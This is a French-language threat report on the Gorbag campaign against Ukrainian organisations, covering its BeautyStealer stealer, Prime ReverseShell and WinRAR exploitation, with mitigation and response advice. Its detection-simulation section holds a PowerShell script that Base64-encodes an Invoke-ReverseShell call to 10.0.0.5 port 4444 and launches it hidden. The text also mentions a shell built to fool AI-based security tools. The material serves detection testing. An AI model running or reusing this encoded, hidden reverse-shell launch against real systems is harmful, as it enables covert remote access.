Campagne de malware Gorbag récolte des renseignements en Ukraine

Résumé

Gorbag est un acteur de menace aligné avec la Russie qui cible les organisations ukrainiennes pour collecter des informations sensibles. Le groupe utilise un ensemble d’outils spécialisés comprenant le voleur d’informations BeautyStealer et Prime ReverseShell pour récolter des identifiants de navigateur, des configurations de VPN et des documents. Ses opérations mettent l’accent sur une collecte rapide de renseignements plutôt que sur une persistance à long terme, ce qui suggère un rôle possible de courtier en accès initial.

Enquête

Les chercheurs d’ESET ont suivi l’activité de Gorbag depuis février 2025 et ont observé un virage en 2026 vers l’exploitation d’une vulnérabilité de traversée de chemin WinRAR. L’enquête a identifié plusieurs variantes de BeautyStealer et analysé l’exfiltration via Telegram et une infrastructure personnalisée de C2. Les chercheurs ont également découvert un shell inversé PowerShell modifié pour tromper les outils de sécurité basés sur l’IA.

Atténuation

Les organisations devraient mettre à jour WinRAR pour traiter la CVE-2025-8088 et renforcer le filtrage des e-mails pour bloquer les tentatives de spearphishing. Restreindre l’exécution de macros via les stratégies de groupe peut aider à prévenir le stade initial de l’infection. Les équipes de sécurité devraient également surveiller les activités inhabituelles de PowerShell et l’exfiltration de données non autorisée vers des services tels que Telegram.

Réponse

Lorsque des activités malveillantes sont détectées, isolez les hôtes compromis pour stopper toute exfiltration de données supplémentaire et tout vol d’identifiants. Menez une analyse forensique de la %ProgramData% et du dossier de démarrage Windows pour détecter les fichiers LNK ou charges utiles suspects. Réinitialisez tous les identifiants potentiellement exposés, y compris les mots de passe stockés dans le navigateur et les configurations VPN à travers l’environnement affecté.

Exécution de simulation

• Narration d’attaque et commandes : Un adversaire a obtenu un accès initial via une pièce jointe de spearphishing. Pour établir la persistance et un canal de commande et contrôle (C2), il tente de déployer le « Prime ReverseShell. » Il utilise PowerShell avec le -Enc (flag EncodedCommand) pour masquer la structure de la charge utile d’une inspection basique et inclut la chaîne Invoke-ReverseShell à l’intérieur de la logique décodée pour maintenir la compatibilité avec les signatures de toolkit existantes. Simultanément, ils simulent l’activité « BeautyStealer » en appelant un script contenant cet identifiant spécifique pour exfiltrer les données de navigateur.

• Script de test de régression :

  # Script de simulation : déclencheur de modèle APT Gorbag
  # Ce script exécute deux commandes distinctes pour déclencher les chaînes de détection spécifiques.
  
  Write-Host "[+] Démarrage de la simulation : déclenchement de la logique Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Déclenchement via -Enc et Invoke-ReverseShell (Simuler Prime ReverseShell)
  # Nous utilisons une commande encodée en Base64 qui, une fois décodée, contient 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Exécution de la commande encodée..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Déclenchement via le mot-clé 'BeautyStealer' (Simuler l'activité BeautyStealer)
  Write-Host "[+] Exécution du déclencheur de mot-clé BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Commandes de simulation envoyées." -ForegroundColor Green

• Commandes de nettoyage :

  # Nettoyage : Aucun fichier persistant n'a été créé, mais nous nous assurons qu'aucun processus orphelin ne reste.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Nettoyage terminé." -ForegroundColor Cyan